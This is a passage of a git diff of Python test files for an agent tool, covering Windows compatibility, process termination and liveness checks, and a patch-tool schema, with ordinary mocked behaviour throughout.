mock_resolve.return_value = { - "provider": "nous", - "base_url": "https://inference-api.nousresearch.com/v1", - "api_key": "nous-agent-key-xyz", - "api_mode": "chat_completions", - } - parent = _make_mock_parent(depth=0) - cfg = {"model": "hermes-3-llama-3.1-8b", "provider": "nous"} - creds = _resolve_delegation_credentials(cfg, parent) - self.assertEqual(creds["provider"], "nous") - self.assertEqual(creds["base_url"], "https://inference-api.nousresearch.com/v1") - self.assertEqual(creds["api_key"], "nous-agent-key-xyz") - mock_resolve.assert_called_once_with(requested="nous") @patch("hermes_cli.runtime_provider.resolve_runtime_provider") def test_provider_resolution_failure_raises_valueerror(self, mock_resolve): @@ -1599,53 +1546,6 @@ class TestDelegateHeartbeat(unittest.TestCase): f"got {len(touch_calls)} touches over 0.4s at 0.05s interval", ) - def test_heartbeat_still_trips_idle_stale_when_no_tool(self): - """A wedged child with no current_tool still trips the idle threshold. - - Regression guard: the fix for #13041 must not disable stale - detection entirely. A child that's hung between turns (no tool - running, no iteration progress) must still stop touching the - parent so the gateway timeout can fire. - """ - from tools.delegate_tool import _run_single_child - - parent = _make_mock_parent() - touch_calls = [] - parent._touch_activity = lambda desc: touch_calls.append(desc) - - child = MagicMock() - # Wedged child: no tool running, iteration frozen. - child.get_activity_summary.return_value = { - "current_tool": None, - "api_call_count": 3, - "max_iterations": 50, - "last_activity_desc": "waiting for API response", - } - - def slow_run(**kwargs): - time.sleep(0.6) - return {"final_response": "done", "completed": True, "api_calls": 3} - - child.run_conversation.side_effect = slow_run - - # At interval 0.05s, idle threshold (5 cycles) trips at ~0.25s. - # We should see the heartbeat stop firing well before 0.6s. - with patch("tools.delegate_tool._HEARTBEAT_INTERVAL", 0.05): - _run_single_child( - task_index=0, - goal="Test wedged child", - child=child, - parent_agent=parent, - ) - - # With idle threshold=5 + interval=0.05s, touches should cap - # around 5. Bound loosely to avoid timing flakes. - self.assertLess( - len(touch_calls), 9, - f"Idle stale detection did not fire: got {len(touch_calls)} " - f"touches over 0.6s — expected heartbeat to stop after " - f"~5 stale cycles", - ) class TestDelegationReasoningEffort(unittest.TestCase): diff --git a/tests/tools/test_file_tools.py b/tests/tools/test_file_tools.py index 0ee0270fdf1..a951ed25cb7 100644 --- a/tests/tools/test_file_tools.py +++ b/tests/tools/test_file_tools.py @@ -361,4 +361,28 @@ class TestSearchHints: assert "offset=100" in raw +# --------------------------------------------------------------------------- +# PATCH_SCHEMA shape tests (issue #15524) +# --------------------------------------------------------------------------- +class TestPatchSchemaShape: + """PATCH_SCHEMA must advertise per-mode required params via description + text (not JSON-schema ``required``), so strict models like kimi-k2.x stop + silently omitting old_string / new_string / patch content.""" + + def test_per_mode_required_params_documented_in_descriptions(self): + desc = PATCH_SCHEMA["description"] + assert "REQUIRED PARAMETERS: mode, path, old_string, new_string" in desc + assert "REQUIRED PARAMETERS: mode, patch" in desc + props = PATCH_SCHEMA["parameters"]["properties"] + for name in ("path", "old_string", "new_string"): + assert "REQUIRED when mode='replace'" in props[name]["description"] + assert "REQUIRED when mode='patch'" in props["patch"]["description"] + + def test_no_anyof_required_stays_mode_only(self): + # anyOf/oneOf at parameters level break Anthropic, Fireworks, and the + # Moonshot/Kimi schema sanitizer — description-level guidance is the + # only provider-safe signalling mechanism. + params = PATCH_SCHEMA["parameters"] + assert params["required"] == ["mode"] + assert "anyOf" not in params and "oneOf" not in params diff --git a/tests/tools/test_mcp_stability.py b/tests/tools/test_mcp_stability.py index 2cee822e3e6..238696feba2 100644 --- a/tests/tools/test_mcp_stability.py +++ b/tests/tools/test_mcp_stability.py @@ -130,15 +130,18 @@ class TestStdioPidTracking: fake_sigkill = 9 monkeypatch.setattr(signal, "SIGKILL", fake_sigkill, raising=False) + # Post-#21561 the alive check routes through + # ``gateway.status._pid_exists`` (so it's safe on Windows — see + # bpo-14484). Return True so the SIGKILL escalation fires. with patch("tools.mcp_tool.os.kill") as mock_kill, \ + patch("gateway.status._pid_exists", return_value=True), \ patch("time.sleep") as mock_sleep: _kill_orphaned_mcp_children() - # SIGTERM, then alive-check (signal 0), then SIGKILL + # SIGTERM then SIGKILL; the alive check no longer touches os.kill. mock_kill.assert_any_call(fake_pid, signal.SIGTERM) - mock_kill.assert_any_call(fake_pid, 0) # alive check mock_kill.assert_any_call(fake_pid, fake_sigkill) - assert mock_kill.call_count == 3 + assert mock_kill.call_count == 2 mock_sleep.assert_called_once_with(2) with _lock: diff --git a/tests/tools/test_process_registry.py b/tests/tools/test_process_registry.py index 83059915e46..831eff51f46 100644 --- a/tests/tools/test_process_registry.py +++ b/tests/tools/test_process_registry.py @@ -728,18 +728,30 @@ class TestKillProcess: s.detached = True registry._running[s.id] = s - calls = [] + terminate_calls = [] - def fake_kill(pid, sig): - calls.append((pid, sig)) + class FakeProcess: + def __init__(self, pid): + self.pid = pid + def children(self, recursive=False): + return [] + def terminate(self): + terminate_calls.append(("terminate", self.pid)) + + import psutil as _psutil try: - with patch("tools.process_registry.os.kill", side_effect=fake_kill): + # Post-#21561: liveness probe routes through + # ``ProcessRegistry._is_host_pid_alive`` (→ + # ``gateway.status._pid_exists``), and the actual kill on POSIX + # routes through ``psutil.Process(pid).terminate()``. Neither + # touches ``os.kill`` directly. Mock both seams. + with patch("gateway.status._pid_exists", return_value=True), \ + patch.object(_psutil, "Process", side_effect=lambda pid: FakeProcess(pid)): result = registry.kill_process(s.id) assert result["status"] == "killed" - assert (424242, 0) in calls - assert (424242, signal.SIGTERM) in calls + assert ("terminate", 424242) in terminate_calls finally: registry._running.pop(s.id, None) diff --git a/tests/tools/test_skill_provenance.py b/tests/tools/test_skill_provenance.py index 77f505bb86a..8cbecc000bc 100644 --- a/tests/tools/test_skill_provenance.py +++ b/tests/tools/test_skill_provenance.py @@ -5,12 +5,6 @@ import contextvars import pytest -def test_default_origin_is_foreground(): - from tools.skill_provenance import get_current_write_origin - # In a fresh ContextVar context, default kicks in. - ctx = contextvars.copy_context() - origin = ctx.run(get_current_write_origin) - assert origin == "foreground" def test_set_and_get_origin(): diff --git a/tests/tools/test_vercel_sandbox_environment.py b/tests/tools/test_vercel_sandbox_environment.py index 944621fe897..afeeb8cedf9 100644 --- a/tests/tools/test_vercel_sandbox_environment.py +++ b/tests/tools/test_vercel_sandbox_environment.py @@ -426,23 +426,6 @@ class TestFileSync: class TestExecute: - def test_execute_runs_command_from_workspace_root_and_updates_cwd( - self, make_env, vercel_sdk - ): - env = make_env() - vercel_sdk.current.run_command_side_effects.append( - _cwd_result("/tmp", cwd="/tmp") - ) - - result = env.execute("pwd", cwd="/tmp") - - assert result == {"output": "/tmp\n", "returncode": 0} - assert env.cwd == "/tmp" - cmd, args, kwargs = vercel_sdk.current.run_command_calls[-1] - assert cmd == "bash" - assert args[0] == "-c" - assert "cd /tmp" in args[1] - assert kwargs["cwd"] == "/vercel/sandbox" @pytest.mark.parametrize( ("make_unhealthy", "label"), diff --git a/tests/tools/test_windows_native_support.py b/tests/tools/test_windows_native_support.py new file mode 100644 index 00000000000..4d4091e5fcb --- /dev/null +++ b/tests/tools/test_windows_native_support.py @@ -0,0 +1,864 @@ +"""Behavioral tests for Windows-specific compatibility fixes. + +Complements ``tests/tools/test_windows_compat.py`` (which does source-level +pattern linting) with cross-platform-mocked tests that exercise the actual +code paths Hermes takes on native Windows. + +Runs on Linux CI — every test mocks ``sys.platform``, ``subprocess.run``, +and ``os.kill`` as needed to simulate Windows behavior without requiring a +Windows runner. +""" + +from __future__ import annotations + +import importlib +import os +import signal +import subprocess +import sys +from pathlib import Path +from unittest.mock import MagicMock, patch + +import pytest + + +# --------------------------------------------------------------------------- +# configure_windows_stdio +# --------------------------------------------------------------------------- + + +class TestConfigureWindowsStdio: + """``hermes_cli.stdio.configure_windows_stdio`` wiring. + + The function must: + - be a no-op on non-Windows + - only configure once per process (idempotent) + - set PYTHONIOENCODING / PYTHONUTF8 without overriding explicit user settings + - reconfigure sys.stdout/stderr/stdin to UTF-8 on Windows + - flip the console code page to CP_UTF8 (65001) via ctypes + - respect HERMES_DISABLE_WINDOWS_UTF8 opt-out + """ + + @pytest.fixture(autouse=True) + def _reset_configured(self, monkeypatch): + """Reload the module before each test so the _CONFIGURED flag resets.""" + # Remove from sys.modules so import triggers a fresh load + sys.modules.pop("hermes_cli.stdio", None) + # Fresh import now; tests import from hermes_cli.stdio themselves, + # but this guarantees the module they get is a brand-new copy. + import hermes_cli.stdio as _s + _s._CONFIGURED = False + yield + sys.modules.pop("hermes_cli.stdio", None) + + def test_no_op_on_posix(self): + from hermes_cli import stdio + + assert stdio.is_windows() is False + result = stdio.configure_windows_stdio() + assert result is False + + def test_idempotent(self): + from hermes_cli import stdio + + stdio.configure_windows_stdio() + # Second call returns False because _CONFIGURED is set + assert stdio.configure_windows_stdio() is False + + def test_windows_path_sets_env_and_reconfigures_streams(self, monkeypatch): + from hermes_cli import stdio + + monkeypatch.setattr(stdio, "is_windows", lambda: True) + # Pretend the user has no prior setting + monkeypatch.delenv("PYTHONIOENCODING", raising=False) + monkeypatch.delenv("PYTHONUTF8", raising=False) + monkeypatch.delenv("HERMES_DISABLE_WINDOWS_UTF8", raising=False) + monkeypatch.delenv("EDITOR", raising=False) + monkeypatch.delenv("VISUAL", raising=False) + + reconfigure_calls = [] + + def fake_reconfigure(stream, *, encoding="utf-8", errors="replace"): + reconfigure_calls.append((stream, encoding, errors)) + + cp_calls = [] + + def fake_flip(): + cp_calls.append(True) + + monkeypatch.setattr(stdio, "_reconfigure_stream", fake_reconfigure) + monkeypatch.setattr(stdio, "_flip_console_code_page_to_utf8", fake_flip) + # Pretend notepad.exe is on PATH (it always is on real Windows hosts, + # but not on the Linux CI runner — mock it so the editor default + # survives). + monkeypatch.setattr(stdio, "_default_windows_editor", lambda: "notepad") + + result = stdio.configure_windows_stdio() + assert result is True + assert os.environ.get("PYTHONIOENCODING") == "utf-8" + assert os.environ.get("PYTHONUTF8") == "1" + # EDITOR must be set so prompt_toolkit's open_in_editor finds + # a working program on Windows (it defaults to /usr/bin/nano). + assert os.environ.get("EDITOR") == "notepad" + assert len(cp_calls) == 1 # SetConsoleOutputCP path hit + assert len(reconfigure_calls) == 3 # stdout, stderr, stdin + + def test_respects_existing_editor_var(self, monkeypatch): + """User's explicit EDITOR wins over our default.""" + from hermes_cli import stdio + + monkeypatch.setattr(stdio, "is_windows", lambda: True) + monkeypatch.setenv("EDITOR", "code --wait") + monkeypatch.setattr(stdio, "_reconfigure_stream", lambda *a, **kw: None) + monkeypatch.setattr(stdio, "_flip_console_code_page_to_utf8", lambda: None) + monkeypatch.setattr(stdio, "_default_windows_editor", lambda: "notepad") + + stdio.configure_windows_stdio() + assert os.environ["EDITOR"] == "code --wait" + + def test_respects_existing_visual_var(self, monkeypatch): + """VISUAL takes precedence over our EDITOR default too.""" + from hermes_cli import stdio + + monkeypatch.setattr(stdio, "is_windows", lambda: True) + monkeypatch.delenv("EDITOR", raising=False) + monkeypatch.setenv("VISUAL", "nvim") + monkeypatch.setattr(stdio, "_reconfigure_stream", lambda *a, **kw: None) + monkeypatch.setattr(stdio, "_flip_console_code_page_to_utf8", lambda: None) + monkeypatch.setattr(stdio, "_default_windows_editor", lambda: "notepad") + + stdio.configure_windows_stdio() + # EDITOR should NOT be set when VISUAL already is (prompt_toolkit + # checks VISUAL first anyway, but we also shouldn't override it). + assert os.environ.get("EDITOR", "") != "notepad" + assert os.environ["VISUAL"] == "nvim" + + def test_respects_existing_env_var(self, monkeypatch): + """User's explicit PYTHONIOENCODING wins over our default.""" + from hermes_cli import stdio + + monkeypatch.setattr(stdio, "is_windows", lambda: True) + monkeypatch.setenv("PYTHONIOENCODING", "latin-1") + monkeypatch.setattr(stdio, "_reconfigure_stream", lambda *a, **kw: None) + monkeypatch.setattr(stdio, "_flip_console_code_page_to_utf8", lambda: None) + + stdio.configure_windows_stdio() + assert os.environ["PYTHONIOENCODING"] == "latin-1" + + @pytest.mark.parametrize("optout", ["1", "true", "True", "yes"]) + def test_disable_flag_short_circuits(self, monkeypatch, optout): + from hermes_cli import stdio + + monkeypatch.setattr(stdio, "is_windows", lambda: True) + monkeypatch.setenv("HERMES_DISABLE_WINDOWS_UTF8", optout) + + reconfigure_hit = [] + monkeypatch.setattr( + stdio, + "_reconfigure_stream", + lambda *a, **kw: reconfigure_hit.append(True), + ) + + result = stdio.configure_windows_stdio() + assert result is False + assert reconfigure_hit == [], "opt-out must skip stream reconfiguration" + + def test_reconfigure_stream_handles_missing_method(self, monkeypatch): + """StringIO-like objects without .reconfigure() must not blow up.""" + from hermes_cli import stdio + import io + + buf = io.StringIO() + # Must not raise + stdio._reconfigure_stream(buf) + + +# --------------------------------------------------------------------------- +# terminate_pid — the centralized kill primitive +# --------------------------------------------------------------------------- + + +class TestTerminatePidRoutingOnWindows: + """``gateway.status.terminate_pid`` must use taskkill /T /F on Windows. + + On Linux we can't reload gateway/status with sys.platform=win32 because + the module unconditionally imports ``msvcrt`` in that branch. Instead + we patch the module-level ``_IS_WINDOWS`` flag and ``subprocess.run`` + on the already-loaded module, which exercises the same branching code. + """ + + def test_force_uses_taskkill_on_windows(self, monkeypatch): + from gateway import status + + captured = {} + + def fake_run(args, **kwargs): + captured["args"] = args + result = MagicMock() + result.returncode = 0 + result.stderr = "" + result.stdout = "" + return result + + monkeypatch.setattr(status, "_IS_WINDOWS", True) + monkeypatch.setattr(status.subprocess, "run", fake_run) + status.terminate_pid(12345, force=True) + + assert captured["args"][0] == "taskkill" + assert "/PID" in captured["args"] + assert "12345" in captured["args"] + assert "/T" in captured["args"] + assert "/F" in captured["args"] + + def test_force_taskkill_failure_raises_oserror(self, monkeypatch): + from gateway import status + + def fake_run(args, **kwargs): + result = MagicMock() + result.returncode = 128 + result.stderr = "ERROR: The process cannot be terminated." + result.stdout = "" + return result + + monkeypatch.setattr(status, "_IS_WINDOWS", True) + monkeypatch.setattr(status.subprocess, "run", fake_run) + with pytest.raises(OSError, match="cannot be terminated"): + status.terminate_pid(12345, force=True) + + def test_graceful_on_windows_uses_os_kill_sigterm(self, monkeypatch): + """Non-force path calls os.kill with SIGTERM (Windows has no SIGKILL). + + ``terminate_pid(pid)`` with force=False bypasses the taskkill branch + and uses ``os.kill`` directly — so platform doesn't actually matter + for the signal choice. Verifies the getattr fallback works. + """ + from gateway import status + + captured = {} + + def fake_kill(pid, sig): + captured["pid"] = pid + captured["sig"] = sig + + monkeypatch.setattr(status.os, "kill", fake_kill) + status.terminate_pid(99, force=False) + + assert captured["pid"] == 99 + assert captured["sig"] == signal.SIGTERM + + def test_taskkill_not_found_falls_back_to_os_kill(self, monkeypatch): + """On Windows without taskkill (WinPE, containers), fall back gracefully.""" + from gateway import status + + captured = {} + + def fake_run(args, **kwargs): + raise FileNotFoundError(2, "taskkill not found") + + def fake_kill(pid, sig): + captured["pid"] = pid + captured["sig"] = sig + + monkeypatch.setattr(status, "_IS_WINDOWS", True) + monkeypatch.setattr(status.subprocess, "run", fake_run) + monkeypatch.setattr(status.os, "kill", fake_kill) + status.terminate_pid(42, force=True) + + assert captured["pid"] == 42 + assert captured["sig"] == signal.SIGTERM + + +# --------------------------------------------------------------------------- +# SIGKILL fallback pattern +# --------------------------------------------------------------------------- + + +class TestSigkillFallback: + """Modules that want SIGKILL must fall back to SIGTERM when absent.""" + + def test_getattr_fallback_works_when_sigkill_missing(self, monkeypatch): + """The `getattr(signal, "SIGKILL", signal.SIGTERM)` pattern.""" + # Build a stand-in signal module with no SIGKILL attribute + fake_signal = MagicMock() + del fake_signal.SIGKILL # ensure it's absent + fake_signal.SIGTERM = 15 + + result = getattr(fake_signal, "SIGKILL", fake_signal.SIGTERM) + assert result == 15 + + def test_getattr_fallback_prefers_sigkill_when_present(self): + """On POSIX the fallback is a no-op: real SIGKILL wins.""" + result = getattr(signal, "SIGKILL", signal.SIGTERM) + assert result == signal.SIGKILL + + @pytest.mark.parametrize( + "module_path, line_pattern", + [ + ("hermes_cli.kanban_db", 'getattr(signal, "SIGKILL", signal.SIGTERM)'), + ], + ) + def test_module_uses_getattr_fallback(self, module_path, line_pattern): + """Source-level check that our modules use the safe fallback.""" + rel = module_path.replace(".", "/") + ".py" + root = Path(__file__).resolve().parents[2] + source = (root / rel).read_text(encoding="utf-8") + assert line_pattern in source, ( + f"{rel} must use the getattr fallback pattern on its SIGKILL site" + ) + + +# --------------------------------------------------------------------------- +# OSError widening on liveness probes +# +# Post-#21561, ``ProcessRegistry._is_host_pid_alive`` delegates to +# ``gateway.status._pid_exists``, which is the cross-platform liveness +# primitive (psutil-first, ctypes/os.kill fallback). The tests below assert +# (a) the delegation is correct and (b) ``_pid_exists`` correctly widens +# Windows' ``OSError(WinError 87)`` / ``PermissionError`` behavior on the +# POSIX fallback branch. +# --------------------------------------------------------------------------- + + +class TestProcessRegistryOSErrorWidening: + """_is_host_pid_alive delegates to gateway.status._pid_exists.""" + + def test_oserror_treated_as_not_alive(self, monkeypatch): + """_pid_exists → False propagates as _is_host_pid_alive → False.""" + from tools.process_registry import ProcessRegistry + + monkeypatch.setattr("gateway.status._pid_exists", lambda pid: False) + assert ProcessRegistry._is_host_pid_alive(12345) is False + + def test_permission_error_treated_as_alive(self, monkeypatch): + """PermissionError is encoded by _pid_exists as alive=True; propagates as-is. + + This is a meaningful semantic change from the pre-#21561 version of + this test (which asserted PermissionError → not-alive). The old + ``os.kill(pid, 0)``-based probe couldn't distinguish "gone" from + "owned by another user" on some platforms, so it conservatively + returned False. The new psutil-based probe CAN distinguish them via + ``OpenProcess + ERROR_ACCESS_DENIED`` on Windows / ``except + PermissionError`` on POSIX, so alive=True is correct. + """ + from tools.process_registry import ProcessRegistry + + monkeypatch.setattr("gateway.status._pid_exists", lambda pid: True) + assert ProcessRegistry._is_host_pid_alive(12345) is True + + def test_zero_or_none_pid_returns_false_without_probing(self, monkeypatch): + """No wasted syscall on falsy pids.""" + from tools.process_registry import ProcessRegistry + + probes = [] + monkeypatch.setattr( + "gateway.status._pid_exists", + lambda pid: probes.append(pid) or True, + ) + assert ProcessRegistry._is_host_pid_alive(None) is False + assert ProcessRegistry._is_host_pid_alive(0) is False + assert probes == [] + + def test_alive_pid_returns_true(self, monkeypatch): + from tools.process_registry import ProcessRegistry + + monkeypatch.setattr("gateway.status._pid_exists", lambda pid: True) + assert ProcessRegistry._is_host_pid_alive(os.getpid()) is True + + +class TestPidExistsOSErrorWidening: + """gateway.status._pid_exists itself must widen Windows errors correctly. + + The POSIX fallback branch (reached when psutil isn't importable) is the + only path where Python raises ``OSError(WinError 87)`` on Windows for a + gone PID instead of ``ProcessLookupError``. The function must catch the + wider ``OSError`` to match POSIX semantics. + """ + + def test_oserror_gone_pid_returns_false(self, monkeypatch): + """Simulate Windows' OSError(WinError 87) for a gone PID via the POSIX fallback.""" + from gateway import status + + # Force the psutil-first branch to miss so we exercise the fallback. + monkeypatch.setitem( + __import__("sys").modules, "psutil", + type("P", (), {"pid_exists": staticmethod(lambda pid: (_ for _ in ()).throw(ImportError()))})() + ) + monkeypatch.setattr(status, "_IS_WINDOWS", False) + + def fake_kill(pid, sig): + raise OSError(22, "Invalid argument") + + monkeypatch.setattr(status.os, "kill", fake_kill) + assert status._pid_exists(12345) is False + + def test_permission_error_returns_true(self, monkeypatch): + """POSIX fallback: PermissionError means alive (owned by another user).""" + from gateway import status + + monkeypatch.setitem( + __import__("sys").modules, "psutil", + type("P", (), {"pid_exists": staticmethod(lambda pid: (_ for _ in ()).throw(ImportError()))})() + ) + monkeypatch.setattr(status, "_IS_WINDOWS", False) + + def fake_kill(pid, sig): + raise PermissionError(1, "Operation not permitted") + + monkeypatch.setattr(status.os, "kill", fake_kill) + assert status._pid_exists(12345) is True + + +# --------------------------------------------------------------------------- +# tzdata dependency +# --------------------------------------------------------------------------- + + +class TestTzdataDependencyDeclared: + """Windows installs must pull tzdata for zoneinfo to work.""" + + def test_pyproject_declares_tzdata_for_win32(self): + root = Path(__file__).resolve().parents[2] + source = (root / "pyproject.toml").read_text(encoding="utf-8") + # The dependency line should be conditional on sys_platform == 'win32' + # and should NOT be in the core dependencies for Linux/macOS. + assert ( + 'tzdata>=2023.3; sys_platform == \'win32\'' in source + or "tzdata>=2023.3; sys_platform == 'win32'" in source + or 'tzdata>=2023.3; sys_platform == "win32"' in source + ), "tzdata must be a Windows-only dep in pyproject.toml dependencies" + + +# --------------------------------------------------------------------------- +# README / docs consistency +# --------------------------------------------------------------------------- + + +class TestReadmeNoLongerSaysWindowsUnsupported: + """The README shouldn't claim native Windows isn't supported.""" + + def test_readme_does_not_say_not_supported(self): + root = Path(__file__).resolve().parents[2] + source = (root / "README.md").read_text(encoding="utf-8") + # Previous string (removed in this PR): "Native Windows is not supported" + assert "Native Windows is not supported" not in source, ( + "README.md still says native Windows is not supported — update the " + "install copy to reflect the PowerShell installer." + ) + + def test_readme_mentions_powershell_installer(self): + root = Path(__file__).resolve().parents[2] + source = (root / "README.md").read_text(encoding="utf-8") + assert "install.ps1" in source, ( + "README.md must point at scripts/install.ps1 for Windows users" + ) + + +# --------------------------------------------------------------------------- +# pty_bridge graceful import on Windows +# --------------------------------------------------------------------------- + + +class TestWebServerPtyBridgeGuard: + """The web server must not crash if pty_bridge can't import (Windows).""" + + def test_import_guard_present_in_source(self): + root = Path(__file__).resolve().parents[2] + source = (root / "hermes_cli" / "web_server.py").read_text(encoding="utf-8") + assert "_PTY_BRIDGE_AVAILABLE" in source + assert "except ImportError" in source, ( + "web_server.py must wrap the pty_bridge import in try/except ImportError" + ) + + def test_pty_handler_checks_availability_flag(self): + """The /api/pty handler must short-circuit when the bridge is unavailable.""" + root = Path(__file__).resolve().parents[2] + source = (root / "hermes_cli" / "web_server.py").read_text(encoding="utf-8") + assert "if not _PTY_BRIDGE_AVAILABLE" in source, ( + "/api/pty handler must return a friendly error when PTY is unavailable" + ) + + +# --------------------------------------------------------------------------- +# Entry points wire configure_windows_stdio +# --------------------------------------------------------------------------- + + +class TestEntryPointsConfigureStdio: + """cli.py, hermes_cli/main.py, gateway/run.py must call configure_windows_stdio.""" + + @pytest.mark.parametrize( + "relpath", + ["cli.py", "hermes_cli/main.py", "gateway/run.py"], + ) + def test_entry_point_calls_configure_stdio(self, relpath): + root = Path(__file__).resolve().parents[2] + source = (root / relpath).read_text(encoding="utf-8") + assert "configure_windows_stdio" in source, ( + f"{relpath} must call hermes_cli.stdio.configure_windows_stdio() " + "early in startup so Windows consoles render Unicode without crashing" + ) + + +# --------------------------------------------------------------------------- +# _subprocess_compat shared helpers +# --------------------------------------------------------------------------- + + +class TestSubprocessCompatHelpers: + """hermes_cli/_subprocess_compat.py POSIX + Windows behaviour.""" + + def test_is_windows_matches_sys_platform(self): + from hermes_cli import _subprocess_compat as sc + assert sc.IS_WINDOWS == (sys.platform == "win32") + + def test_resolve_node_command_returns_absolute_on_posix(self): + """On Linux, resolve_node_command('sh', ['-c','echo hi']) picks up /bin/sh.""" + from hermes_cli._subprocess_compat import resolve_node_command + # We can't assert "npm is on PATH" portably; use `sh` which is + # guaranteed on POSIX. On Windows the test only confirms the + # no-crash fallback path. + argv = resolve_node_command("sh", ["-c", "echo hi"]) + assert argv[1:] == ["-c", "echo hi"] + # First element is either an absolute path (sh found) or the bare + # name (fallback) — both are acceptable behaviours. + + def test_resolve_node_command_fallback_when_absent(self): + from hermes_cli._subprocess_compat import resolve_node_command + argv = resolve_node_command( + "zzz-definitely-not-on-path-xyzzy", ["--help"] + ) + # Must fall back to the bare name — NOT return None, NOT crash. + assert argv[0] == "zzz-definitely-not-on-path-xyzzy" + assert argv[1:] == ["--help"] + + def test_windows_flags_zero_on_posix(self): + from hermes_cli._subprocess_compat import ( + windows_detach_flags, + windows_hide_flags, + ) + if sys.platform != "win32": + assert windows_detach_flags() == 0 + assert windows_hide_flags() == 0 + + def test_windows_detach_popen_kwargs_is_posix_equivalent_on_posix(self): + from hermes_cli._subprocess_compat import windows_detach_popen_kwargs + kwargs = windows_detach_popen_kwargs() + if sys.platform != "win32": + # POSIX path MUST produce start_new_session=True, which maps to + # os.setsid() in the child — identical to the unchanged main + # branch behaviour. Do NOT break Linux/macOS here. + assert kwargs == {"start_new_session": True} + else: + # Windows path must include creationflags with all 3 bits set. + assert "creationflags" in kwargs + assert kwargs["creationflags"] != 0 + # No start_new_session on Windows (silently no-op there). + assert "start_new_session" not in kwargs + + def test_windows_detach_flags_has_expected_win32_bits(self, monkeypatch): + """Simulate Windows to verify flag bundle.""" + from hermes_cli import _subprocess_compat as sc + monkeypatch.setattr(sc, "IS_WINDOWS", True) + flags = sc.windows_detach_flags() + # CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW + assert flags & 0x00000200, "missing CREATE_NEW_PROCESS_GROUP" + assert flags & 0x00000008, "missing DETACHED_PROCESS" + assert flags & 0x08000000, "missing CREATE_NO_WINDOW" + + +# --------------------------------------------------------------------------- +# tui_gateway/entry.py signal installation survives absent POSIX signals +# --------------------------------------------------------------------------- + + +class TestTuiGatewayEntrySignalGuards: + """Importing tui_gateway.entry must not crash when SIGPIPE/SIGHUP absent. + + Linux has both signals, so this is mostly a source-level invariant check + (no bare ``signal.SIGPIPE`` at module level without a ``hasattr`` guard). + On Windows the import would have raised AttributeError before this fix. + """ + + def test_source_guards_each_signal_installation(self): + root = Path(__file__).resolve().parents[2] + source = (root / "tui_gateway" / "entry.py").read_text(encoding="utf-8") + # Every signal.signal(...) at module scope must be preceded by a + # hasattr check. We look at the text: no bare "signal.signal(" + # call should appear outside a function body without a guard. + # Simpler heuristic: all SIGPIPE / SIGHUP references outside the + # dict-building loop must be wrapped in hasattr. + assert 'hasattr(signal, "SIGPIPE")' in source + assert 'hasattr(signal, "SIGHUP")' in source + assert 'hasattr(signal, "SIGTERM")' in source + assert 'hasattr(signal, "SIGINT")' in source + + def test_module_imports_cleanly(self): + """Importing the module must not raise — verifies the guards work.""" + # Drop any cached import so the module re-initialises + for mod in list(sys.modules): + if mod.startswith("tui_gateway"): + del sys.modules[mod] + import tui_gateway.entry # noqa: F401 # must not raise + + +# --------------------------------------------------------------------------- +# hermes_cli/kanban_db.py waitpid guard +# --------------------------------------------------------------------------- + + +class TestKanbanWaitpidWindowsGuard: + """os.WNOHANG doesn't exist on Windows — the dispatcher tick reap loop + must be gated behind ``os.name != "nt"``.""" + + def test_source_gates_waitpid_loop(self): + root = Path(__file__).resolve().parents[2] + source = (root / "hermes_cli" / "kanban_db.py").read_text(encoding="utf-8") + # Find the waitpid call and confirm it's inside a POSIX gate. + idx = source.find("os.waitpid(-1, os.WNOHANG)") + assert idx > 0, "waitpid call must exist" + # Look backwards up to 400 chars for the gate. + preamble = source[max(0, idx - 400):idx] + assert 'os.name != "nt"' in preamble or "os.name != 'nt'" in preamble, ( + "os.waitpid(-1, os.WNOHANG) must sit behind an os.name != 'nt' guard" + ) + + +# --------------------------------------------------------------------------- +# code_execution_tool TCP loopback on Windows +# --------------------------------------------------------------------------- + + +class TestCodeExecutionTransportTcpFallback: + """The RPC transport must fall back to TCP on Windows. + + We can't easily execute the sandbox on Linux CI in Windows mode, but we + CAN assert that the generated client module supports both AF_UNIX and + AF_INET endpoints based on the HERMES_RPC_SOCKET format. + """ + + def test_generated_client_handles_tcp_endpoint(self): + root = Path(__file__).resolve().parents[2] + source = (root / "tools" / "code_execution_tool.py").read_text(encoding="utf-8") + # _UDS_TRANSPORT_HEADER body must parse both transports. + assert 'endpoint.startswith("tcp://")' in source, ( + "generated sandbox client must accept tcp:// endpoints for Windows" + ) + assert "socket.AF_INET" in source, ( + "generated sandbox client must be able to open AF_INET sockets" + ) + + def test_server_side_branches_on_use_tcp_rpc(self): + root = Path(__file__).resolve().parents[2] + source = (root / "tools" / "code_execution_tool.py").read_text(encoding="utf-8") + assert "_use_tcp_rpc = _IS_WINDOWS" in source + assert 'rpc_endpoint = f"tcp://{_host}:{_port}"' in source + + +# --------------------------------------------------------------------------- +# cron/scheduler.py /bin/bash dynamic resolution +# --------------------------------------------------------------------------- + + +class TestCronSchedulerBashResolution: + """cron.scheduler must NOT hardcode /bin/bash — .sh scripts need a + dynamically-resolved bash so Windows (Git Bash) works.""" + + def test_source_uses_shutil_which_for_bash(self): + root = Path(__file__).resolve().parents[2] + source = (root / "cron" / "scheduler.py").read_text(encoding="utf-8") + # The old hardcoded path should be gone as the sole bash source. + # It may still appear as a POSIX fallback after shutil.which(), so + # we check for the shutil.which call near the .sh/.bash branch. + assert 'shutil.which("bash")' in source, ( + "cron.scheduler must resolve bash dynamically via shutil.which" + ) + + def test_error_message_when_bash_missing(self): + root = Path(__file__).resolve().parents[2] + source = (root / "cron" / "scheduler.py").read_text(encoding="utf-8") + # The graceful-failure message must mention "bash not found" so + # Windows users without Git Bash see an actionable error instead + # of a WinError 2 traceback. + assert "bash not found" in source.lower() + + +# --------------------------------------------------------------------------- +# Node-ecosystem launcher resolution (npm / npx / node) +# --------------------------------------------------------------------------- + + +class TestNpmBareSpawnsResolved: + """Every spawn site that launches ``npm``/``npx`` must resolve via + shutil.which / hermes_cli._subprocess_compat.resolve_node_command + so Windows can execute the .cmd batch shims.""" + + @pytest.mark.parametrize( + "relpath", + [ + "hermes_cli/tools_config.py", + "hermes_cli/doctor.py", + "gateway/platforms/whatsapp.py", + "tools/browser_tool.py", + ], + ) + def test_no_bare_npm_or_npx_in_popen_argv(self, relpath): + """Reject ``subprocess.run(["npm", ...])`` / ``["npx", ...]`` patterns. + + Those fail on Windows with WinError 193. Callers must resolve + via shutil.which(...) and pass the absolute path (or fall back + to the bare name only as a last resort behind a variable). + """ + root = Path(__file__).resolve().parents[2] + source = (root / relpath).read_text(encoding="utf-8") + # The forbidden literal: a subprocess invocation that names npm + # or npx as a 